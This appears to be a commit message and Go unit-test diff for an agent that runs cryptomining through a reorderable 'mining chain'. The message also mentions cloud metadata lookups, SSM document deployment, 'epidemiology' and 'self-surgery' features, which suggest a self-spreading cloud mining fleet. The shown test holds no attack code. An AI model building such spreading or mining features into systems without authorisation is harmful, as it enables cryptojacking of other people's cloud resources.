Extend agent tests for cloud fleet features and erasure lanes.

Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.

agent/client/self_surgery_test.go

@@ -48,3 +48,19 @@ func TestParseMiningMethodOrder(t *testing.T) {
 		t.Fatalf("order=%v", order)
 	}
 }
+
+func TestSelfSurgeryFallbackReorder(t *testing.T) {
+	c := miningChainTestClient(t, config.RuntimeConfig{})
+	c.miningChain = newTestMiningChainRunner(t, c)
+	ok, detail := c.runSelfSurgeryAction("fallback_chain_reorder", MiningSelfSurgeryPlan{
+		ChainOrder:  []string{"inprocess", "container"},
+		SkipMethods: []string{"gpu_subprocess"},
+	})
+	if !ok || detail == "" {
+		t.Fatalf("ok=%v detail=%q", ok, detail)
+	}
+	st := c.miningChain.Status()
+	if len(st.ChainOrder) != 2 || st.ChainOrder[0] != miner.MethodInProcess {
+		t.Fatalf("chain=%v", st.ChainOrder)
+	}
+}